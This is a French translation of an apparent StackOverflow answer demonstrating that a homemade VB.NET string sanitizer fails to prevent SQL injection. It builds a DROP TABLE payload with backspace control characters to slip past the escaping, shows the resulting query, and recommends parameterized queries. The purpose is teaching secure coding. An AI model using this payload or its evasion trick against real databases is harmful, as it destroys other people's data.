En réponse à votre question directe :Est-ce que ce code empêche l'injection SQL ? Non
Voici la preuve - poussez cette chaîne via la méthode PrepareString :
Dim input = "'" & Chr(8) & "; Drop Table TableName; - " & Chr(8) & "-"
Dim output = PrepareString(input)
Console.WriteLine(input)
Console.WriteLine(output)
J'ai modifié la méthode GetRecord que vous avez publiée pour renvoyer la chaîne SQL entièrement préparée plutôt que d'obtenir l'enregistrement de la base de données :
Console.WriteLine(GetRecord(output))
Et voici la sortie
Input = ; Drop Table TableName; --
Output = '; Drop Table TableName; --
Query = SELECT * FROM TableName WHERE Key = ''; Drop Table TableName; --'
Ajoutez 1 ligne de code supplémentaire :
My.Computer.Clipboard.SetText(input)
Et vous avez la chaîne dont vous avez besoin copiée directement dans votre presse-papiers pour la coller dans votre champ de saisie sur le site Web afin de terminer votre injection SQL :
'; Drop Table TableName; - -
[Notez que les caractères de contrôle ont été omis de la sortie post par StackOverflow, vous devrez donc suivre l'exemple de code pour créer votre sortie]
Une fois la méthode PrepareString exécutée, elle aura exactement la même sortie - le code ASCII Chr(8) est le retour arrière qui supprimera le "'" supplémentaire que vous ajoutez au mien, ce qui fermera votre chaîne, puis je suis libre d'ajouter ce que je veux à la fin. Votre PrepareString ne voit pas mon - parce que j'utilise en fait - - avec un caractère de retour arrière pour supprimer l'espace.
Le code SQL résultant que vous construisez exécutera alors mon instruction Drop Table sans entrave et ignorera rapidement le reste de votre requête.
La chose amusante à ce sujet est que vous pouvez utiliser des caractères non imprimables pour contourner essentiellement toute vérification de caractère que vous pouvez inventer. Il est donc plus sûr d'utiliser des requêtes paramétrées (ce qui n'est pas ce que vous avez demandé, mais c'est le meilleur moyen d'éviter cela).